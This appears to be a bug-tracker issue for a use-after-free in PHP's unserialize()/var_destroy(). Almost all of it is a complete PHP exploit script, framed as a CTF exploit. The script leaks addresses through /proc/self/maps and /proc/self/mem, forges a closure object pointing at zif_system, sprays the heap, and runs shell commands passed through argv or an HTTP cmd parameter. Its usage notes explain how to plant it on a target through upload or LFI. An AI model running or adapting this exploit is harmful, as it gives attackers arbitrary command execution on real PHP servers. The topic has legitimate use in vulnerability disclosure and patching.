Use-after-free in var_destroy() during unserialize() re-entrancy allows __destruct to read a freed var_entries chunk #24481

<?php
/**
 * CTF exploit — var_destroy() UAF -> RCE.
 * Works in CLI, FPM, mod_php, CGI. Requires only that this PHP code executes
 * on the target (upload/LFI->RCE/writable file/etc.); /proc/self/* then refers
 * to the target process, so no separate info leak is needed.
 *
 * Usage:
 *   php exploit.php "id > /tmp/proof"
 * or over HTTP: drop this file on the target and request it with ?cmd=...
 *   <?php $_GET['cmd'] ?? null; require 'exploit.php';
 */

error_reporting(0);
ini_set('display_errors', '0');

function w64(string &$s, int $o, int $v): void {
    for ($i = 0; $i < 8; $i++) $s[$o + $i] = chr(($v >> (8 * $i)) & 0xff);
}
function w32(string &$s, int $o, int $v): void {
    for ($i = 0; $i < 4; $i++) $s[$o + $i] = chr(($v >> (8 * $i)) & 0xff);
}

/** Read /proc/self/maps safely; return array of [start, end, perms, path]. */
function read_maps(): array {
    $out = [];
    $m = @file_get_contents('/proc/self/maps');
    if ($m === false) return $out;
    foreach (explode("\n", $m) as $l) {
        if (!preg_match('/^([0-9a-f]+)-([0-9a-f]+)\s+(\S+)\s+\S+\s+\S+\s+\S+\s*(.*)$/', $l, $mm))
            continue;
        $out[] = [hexdec($mm[1]), hexdec($mm[2]), $mm[3], trim($mm[4])];
    }
    return $out;
}

/** Locate the PHP executable's r-xp base. Covers cli/fpm/apache/cgi + renamed. */
function find_bin(array $maps): int {
    // 1) exact known sapi paths
    $hints = ['/sapi/cli/php', '/sapi/fpm/php-fpm', '/sapi/apache2handler/',
              '/sapi/cgi/php-cgi', '/sapi/litespeed/'];
    foreach ($maps as [$s, $e, $p, $path]) {
        if (strpos($p, 'r-xp') === false || $path === '') continue;
        foreach ($hints as $h) if (strpos($path, $h) !== false) return $s;
    }
    // 2) any r-xp mapped file whose basename looks like php
    foreach ($maps as [$s, $e, $p, $path]) {
        if (strpos($p, 'r-xp') === false || $path === '') continue;
        $b = basename($path);
        if (preg_match('/(^php|php-fpm|php-cgi|php[0-9]|libphp)/i', $b)) return $s;
    }
    // 3) fallback: first r-xp file mapping (last resort; may be libc)
    foreach ($maps as [$s, $e, $p, $path]) {
        if (strpos($p, 'r-xp') !== false && $path !== '') return $s;
    }
    return 0;
}

/**
 * Scan a mapped file for an ELF symbol by name and return (vaddr - load_base) + map_base.
 * This replaces the hardcoded offsets: given the target's own php binary in memory,
 * we look up the symbol's file offset via the symbol table, then add the map base.
 *
 * NOTE: requires the binary to be stripped=false OR symbols exported. If stripped,
 * you must supply offsets manually (see $MANUAL_OFFSETS below).
 */
function elf_symbol_offset(string $path, string $sym): int {
    if (!is_file($path) || !is_readable($path)) return 0;
    $f = @file_get_contents($path);
    if ($f === false || strlen($f) < 0x40) return 0;
    if (substr($f, 0, 4) !== "\x7fELF") return 0;
    $is64 = ord($f[4]) === 2;
    if (!$is64) return 0; // 32-bit not supported here
    $le = ord($f[5]) === 1;
    $u16 = fn($o) => $le ? unpack('v', substr($f, $o, 2))[1] : unpack('n', substr($f, $o, 2))[1];
    $u32 = fn($o) => $le ? unpack('V', substr($f, $o, 4))[1] : unpack('N', substr($f, $o, 4))[1];
    $u64 = fn($o) => $le ? unpack('P', substr($f, $o, 8))[1] : unpack('J', substr($f, $o, 8))[1];
    $shoff = $u64(0x28); $shentsize = $u16(0x3a); $shnum = $u16(0x3c);
    $sections = [];
    for ($i = 0; $i < $shnum; $i++) {
        $o = $shoff + $i * $shentsize;
        $sections[] = [
            'name' => $u32($o), 'type' => $u32($o + 4),
            'addr' => $u64($o + 16), 'off' => $u64($o + 24),
            'size' => $u64($o + 32), 'link' => $u32($o + 40),
            'entsize' => $u64($o + 56),
        ];
    }
    $shstr = $sections[$u16(0x3e)] ?? null;
    if (!$shstr) return 0;
    $symtab = $dynsym = null;
    foreach ($sections as $s) {
        if ($s['type'] === 2) $symtab = $s;      // SHT_SYMTAB
        if ($s['type'] === 11) $dynsym = $s;     // SHT_DYNSYM
    }
    foreach ([$symtab, $dynsym] as $tab) {
        if (!$tab) continue;
        $strtab = $sections[$tab['link']] ?? null;
        if (!$strtab) continue;
        $n = intdiv($tab['size'], $tab['entsize'] ?: 24);
        for ($i = 0; $i < $n; $i++) {
            $o = $tab['off'] + $i * ($tab['entsize'] ?: 24);
            $nameOff = $u32($o);
            $value   = $u64($o + 8);
            $no = $strtab['off'] + $nameOff;
            $end = strpos($f, "\0", $no);
            if ($end === false) continue;
            if (substr($f, $no, $end - $no) === $sym) return $value;
        }
    }
    return 0;
}

/** Search rw-p anonymous mappings for marker+magic and return marker address. */
function find_buf(string $marker, string $magic): int {
    $maps = read_maps();
    $fp = @fopen('/proc/self/mem', 'rb');
    foreach ($maps as [$s, $e, $p, $path]) {
        if (strpos($p, 'rw-p') === false) continue;
        $sz = $e - $s;
        if ($sz > 128 * 1024 * 1024 || $sz < 64) continue;
        if ($fp === false) break;
        for ($off = $s; $off < $e;) {
            $n = min(1048576, $e - $off);
            fseek($fp, $off);
            $c = @fread($fp, $n);
            if ($c === false || strlen($c) < strlen($marker)) break;
            $pp = 0;
            while (($pp = strpos($c, $marker, $pp)) !== false) {
                fseek($fp, $off + $pp + strlen($marker));
                if (@fread($fp, strlen($magic)) === $magic) {
                    if ($fp) fclose($fp);
                    return $off + $pp;
                }
                $pp++;
            }
            $off += strlen($c) - strlen($marker) + 1;
        }
    }
    if ($fp) fclose($fp);
    return 0;
}

class P {
    public static string $buf = '';
    public static int $zv = 0;
    public static string $cmd = 'id';
    public static bool $done = false;

    public function __destruct() {
        if (self::$done) return;
        self::$done = true;

        $maps = read_maps();
        $bin = find_bin($maps);
        if (!$bin) { fwrite(STDERR, "[!] no bin base\n"); return; }

        // --- Symbol offsets relative to php binary r-xp base ---
        // Prefer ELF symbol lookup from the on-disk binary that maps this range.
        $binpath = '';
        foreach ($maps as [$s, $e, $p, $path]) {
            if ($s === $bin && $path !== '') { $binpath = $path; break; }
        }
        $off_zif = $off_cec = $off_hdl = 0;
        if ($binpath !== '') {
            $off_zif = elf_symbol_offset($binpath, 'zif_system');
            $off_cec = elf_symbol_offset($binpath, 'zend_closure_ce');
            $off_hdl = elf_symbol_offset($binpath, 'zend_closure_handlers');
        }

        // Manual offsets: recompute for YOUR build with
        //   nm -D /path/to/php | grep -E 'zif_system|zend_closure_(ce|handlers)'
        // then subtract the r-xp base. Leave 0 to use ELF lookup.
        $MANUAL_OFFSETS = [0x3890a0, 0xa272b8, 0xa272c0]; // 8.5.4 ubuntu arm64 ref
        if ($off_zif === 0) $off_zif = $MANUAL_OFFSETS[0];
        if ($off_cec === 0) $off_cec = $MANUAL_OFFSETS[1];
        if ($off_hdl === 0) $off_hdl = $MANUAL_OFFSETS[2];

        $zif = $bin + $off_zif;
        $cec = $bin + $off_cec;
        $hdl = $bin + $off_hdl;

        $marker = "RPT" . bin2hex(random_bytes(16));
        $magic  = pack('P', 0x1122334455667788);

        $buf = $marker . $magic;
        $obj_off = strlen($marker) + strlen($magic) + 16; // fake zval occupies 16B
        $buf .= str_repeat("\0", 0x200);

        $o = $obj_off;
        w32($buf, $o + 0x00, 1);            // gc.refcount
        w32($buf, $o + 0x04, 8);            // gc.type = IS_OBJECT
        w64($buf, $o + 0x08, 0);            // gc.info
        w64($buf, $o + 0x10, $cec);         // ce
        w64($buf, $o + 0x18, $hdl);         // handlers
        // zend_closure -> zend_function header (internal function)
        w32($buf, $o + 0x38, 1);            // func.type = ZEND_INTERNAL_FUNCTION
        w32($buf, $o + 0x38 + 4, 0);        // func.common.fn_flags-ish
        w32($buf, $o + 0x38 + 32, 1);
        w32($buf, $o + 0x38 + 36, 1);
        w64($buf, $o + 0x90, $zif);         // func.internal_function.handler

        self::$buf = $buf;
        unset($buf);

        $base = find_buf($marker, $magic);
        if (!$base) { fwrite(STDERR, "[!] buf not found (spray-only mode)\n"); }
        $zv  = $base ? $base + strlen($marker) + strlen($magic) : 0;
        $obj = $zv + 16;

        if ($base) {
            $g = &self::$buf;
            w64($g, strlen($marker) + strlen($magic), $obj);
            w32($g, strlen($marker) + strlen($magic) + 8, 8);
            unset($g);
            self::$zv = $zv;
        }

        fwrite(STDERR, sprintf("[ptr] bin=0x%x zif=0x%x cec=0x%x hdl=0x%x buf=0x%x zv=0x%x obj=0x%x\n",
            $bin, $zif, $cec, $hdl, $base, $zv, $obj));

        $cmd = self::$cmd;

        // Spray: reclaim freed var_entries (~8KB) with repeated zval pointer.
        // Wider count + size window so the heap lands on our chunk regardless of allocator state.
        $aq = pack('P', $zv);
        $spray = [];
        for ($len = 7960; $len <= 8250; $len += 8) {
            $body = str_repeat($aq, intdiv($len, 8));
            for ($k = 0; $k < 128; $k++) $spray[] = $body;
        }
        $GLOBALS['_spray'] = $spray; // keep alive through inner unserialize

        // Outer payload: array whose var_destroy walks dtors after freeing backref chunk.
        $N = 2000;
        $payload = 'a:' . ($N + 2) . ':{';
        for ($i = 0; $i < $N; $i++) $payload .= "i:$i;i:$i;";
        $payload .= 'i:99999;O:1:"P":0:{}';
        $payload .= 'i:99999;i:42;';
        $payload .= '}';

        // The dtor re-enters unserialize; inner R:1500 hits our sprayed fake zval.
        $r = @unserialize($payload);

        if (is_object($r)) {
            @$r($cmd);
            fwrite(STDERR, "[ptr] call ok\n");
        } else {
            fwrite(STDERR, "[ptr] ret=" . gettype($r) . "\n");
        }
    }
}

// Entry point: CLI argv or HTTP ?cmd=
if (PHP_SAPI === 'cli') {
    P::$cmd = $GLOBALS['argv'][1] ?? 'id';
} else {
    P::$cmd = $_GET['cmd'] ?? $_POST['cmd'] ?? 'id';
}

// Kick off: any serialized input that instantiates P and then triggers var_destroy
// with a back-reference past the array size. The dtor will do the rest.
@unserialize('a:2:{i:0;i:1;i:1;O:1:"P":0:{}}');